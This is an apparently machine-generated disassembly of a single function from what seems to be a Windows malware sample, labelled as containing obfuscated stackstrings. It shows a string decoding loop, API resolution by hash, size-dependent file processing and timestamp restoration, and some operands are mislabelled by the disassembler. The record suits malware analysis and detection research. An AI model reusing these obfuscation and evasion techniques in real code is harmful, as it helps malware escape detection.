Function at 0x140011db0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, r8
mov rdi, rdx
mov r8, rcx
mov rbx, rcx
mov rcx, rax
mov rdx, r9
call fcn.14000d090
test eax, eax
jne 0x140011fe5
lea edx, [rax + 0xf]
mov r8d, 0x9aab3800
lea r9d, [rax + 0x5d]
call fcn.140004640
call rax
mov byte [rbp - 9], 0
mov r8d, eax
mov byte [rbp - 8], 0x2a
mov byte [rbp - 7], 0x7d
mov byte [rbp - 6], 0x14
mov byte [rbp - 5], 0x7d
mov byte [rbp - 4], 2
mov byte [rbp - 3], 0x7d
mov byte [rbp - 2], 0x47
mov byte [rbp - 1], 0x7d
mov byte [rbp], 0x17
mov byte [rbp + 1], 0x7d
mov byte [rbp + 2], WSAGetLastError
mov byte [rbp + 3], 0x7d
mov byte [rbp + 4], 0x29
mov byte [rbp + 5], 0x7d
mov byte [rbp + 6], 0x22
mov byte [rbp + 7], 0x7d
mov byte [rbp + 8], 2
mov byte [rbp + 9], 0x7d
mov byte [rbp + 0xa], WSAGetLastError
mov byte [rbp + 0xb], 0x7d
mov byte [rbp + 0xc], 0x37
mov byte [rbp + 0xd], 0x7d
mov byte [rbp + 0xe], 0x22
mov byte [rbp + 0xf], 0x7d
mov byte [rbp + 0x10], 0x68
mov byte [rbp + 0x11], 0x7d
mov byte [rbp + 0x12], WSAGetLastError
mov byte [rbp + 0x13], 0x7d
mov byte [rbp + 0x14], 0x65
mov byte [rbp + 0x15], 0x7d
mov byte [rbp + 0x16], 0x45
mov byte [rbp + 0x17], 0x7d
mov byte [rbp + 0x18], 0x10
mov byte [rbp + 0x19], 0x7d
mov byte [rbp + 0x1a], WSAGetLastError
mov byte [rbp + 0x1b], 0x7d
mov byte [rbp + 0x1c], 0x65
mov byte [rbp + 0x1d], 0x7d
mov byte [rbp + 0x1e], 0x30
mov byte [rbp + 0x1f], 0x7d
mov byte [rbp + 0x20], 0x7a
mov byte [rbp + 0x21], 0x7d
mov byte [rbp + 0x22], 0x22
mov byte [rbp + 0x23], 0x7d
mov byte [rbp + 0x24], WSAGetLastError
mov byte [rbp + 0x25], 0x7d
mov byte [rbp + 0x26], 0x40
mov byte [rbp + 0x27], 0x7d
mov byte [rbp + 0x28], 0x53
mov byte [rbp + 0x29], 0x7d
mov byte [rbp + 0x2a], 0x20
mov byte [rbp + 0x2b], 0x7d
mov byte [rbp + 0x2c], WSAGetLastError
mov byte [rbp + 0x2d], 0x7d
mov byte [rbp + 0x2e], 0x38
mov byte [rbp + 0x2f], 0x7d
mov byte [rbp + 0x30], 0x22
mov byte [rbp + 0x31], 0x7d
mov byte [rbp + 0x32], 0x17
mov byte [rbp + 0x33], 0x7d
mov byte [rbp + 0x34], 0xa
mov byte [rbp + 0x35], 0x7d
mov byte [rbp + 0x36], 0x14
mov byte [rbp + 0x37], 0x7d
mov byte [rbp + 0x38], 0x53
mov byte [rbp + 0x39], 0x7d
mov byte [rbp + 0x3a], 0x17
mov byte [rbp + 0x3b], 0x7d
mov byte [rbp + 0x3c], 0x31
mov byte [rbp + 0x3d], 0x7d
mov byte [rbp + 0x3e], 0x10
mov byte [rbp + 0x3f], 0x7d
mov byte [rbp + 0x40], 0x10
mov byte [rbp + 0x41], 0x7d
mov byte [rbp + 0x42], 0x45
mov byte [rbp + 0x43], 0x7d
mov byte [rbp + 0x44], 0x10
mov byte [rbp + 0x45], 0x7d
mov byte [rbp + 0x46], WSAGetLastError
mov byte [rbp + 0x47], 0x7d
mov byte [rbp + 0x48], 0x15
mov byte [rbp + 0x49], 0x7d
mov byte [rbp + 0x4a], WSAGetLastError
mov byte [rbp + 0x4b], 0x7d
mov byte [rbp + 0x4c], 0x40
mov byte [rbp + 0x4d], 0x7d
mov byte [rbp + 0x4e], 0x7a
mov byte [rbp + 0x4f], 0x7d
mov byte [rbp + 0x50], 0x5a
mov byte [rbp + 0x51], 0x7d
mov byte [rbp + 0x52], 0x7d
mov byte [rbp + 0x53], 0x7d
movzx eax, byte [rbp - 8]
movzx eax, byte [rbp - 9]
test al, al
jne 0x140011fd2
xor edi, edi
nop
movzx ecx, byte [rbp + rdi - 8]
mov eax, 0x7d
sub eax, ecx
lea ecx, [rax + rax*8]
mov eax, 0x81020409
shl ecx, 2
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi - 8], cl
inc rdi
cmp rdi, 0x5c
jb 0x140011f80
mov rdx, qword [rbx]
lea rcx, [rbp - 8]
call fcn.14001b9d0
xor eax, eax
jmp 0x140012208
mov rcx, rbx
mov qword [rsp + 0xb0], rsi
call fcn.14000e240
test eax, eax
je 0x1400121fe
cmp dword [0x140039a14], 0
je 0x140012016
mov rcx, rbx
call fcn.140011be0
test eax, eax
je 0x1400121fe
mov rcx, qword [rbx]
call fcn.140007080
test eax, eax
je 0x140012047
xor r8d, r8d
mov dl, 0x24
mov rcx, rbx
call fcn.14000d560
test eax, eax
je 0x1400121fe
mov rdx, rdi
mov rcx, rbx
call fcn.140011730
jmp 0x1400120d2
mov rcx, qword [rbx]
call fcn.14000b680
test eax, eax
je 0x14001206f
mov r8b, 0x14
mov dl, 0x25
mov rcx, rbx
call fcn.14000d560
test eax, eax
je 0x1400121fe
mov byte [rsp + 0x20], 0x14
jmp 0x1400120c7
mov rax, qword [rbx + 0x10]
cmp rax, 0x100000
jle 0x140012022
mov rcx, rbx
cmp rax, 0x500000
jg 0x1400120a5
xor r8d, r8d
mov dl, 0x26
call fcn.14000d560
test eax, eax
je 0x1400121fe
mov rdx, rdi
mov rcx, rbx
call fcn.14000efc0
jmp 0x1400120d2
movzx r8d, byte [0x140039a2c]
mov dl, 0x25
call fcn.14000d560
test eax, eax
je 0x1400121fe
movzx eax, byte [0x140039a2c]
mov byte [rsp + 0x20], al
mov rdx, rdi
mov rcx, rbx
call fcn.14000f7c0
mov esi, eax
test eax, eax
je 0x1400121a9
mov rdi, qword [rbx + 8]
mov edx, 0xf
mov r8d, 0xca528872
mov qword [rsp + 0xb8], r14
lea r9d, [rdx + 0x4c]
call fcn.140004640
mov rcx, rdi
call rax
cmp dword [0x140039a14], 0
mov r14, qword [rbx]
mov qword [rbx + 8], 0xffffffffffffffff
je 0x140012199
mov edx, 0xf
mov r8d, 0x17610e8
lea r9d, [rdx + 0x52]
call fcn.140004640
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], edi
mov edx, pe_nt_image_headers64
mov rcx, r14
mov dword [rsp + 0x20], 3
call rax
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400121a1
mov edx, 0xf
mov r8d, 0xe92ed94a
lea r9d, [rdx + 0x64]
call fcn.140004640
lea r9, [rbx + 0x28]
mov rcx, rdi
lea r8, [rbx + 0x20]
lea rdx, [rbx + 0x18]
call rax
mov edx, 0xf
mov r8d, 0xca528872
lea r9d, [rdx + 0x4c]
call fcn.140004640
mov rcx, rdi
call rax
jmp 0x1400121a1
mov rcx, r14
call fcn.14000cd40
mov r14, qword [rsp + 0xb8]
xor eax, eax
lea rdi, [rbx + 0x78]
mov ecx, 0x20
rep stosb byte [rdi], al
lea rdi, [rbx + 0x70]
mov ecx, 8
rep stosb byte [rdi], al
mov rdi, qword [rbx + 8]
cmp rdi, 0xffffffffffffffff
je 0x1400121ea
lea edx, [rax + 0xf]
mov r8d, 0xca528872
lea r9d, [rax + 0x5b]
call fcn.140004640
mov rcx, rdi
call rax
mov qword [rbx + 8], 0xffffffffffffffff
xor eax, eax
lea rdi, [rbx + 0x98]
mov ecx, 0x20c
rep stosb byte [rdi], al
mov eax, esi
jmp 0x140012200
xor eax, eax
mov rsi, qword [rsp + 0xb0]
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret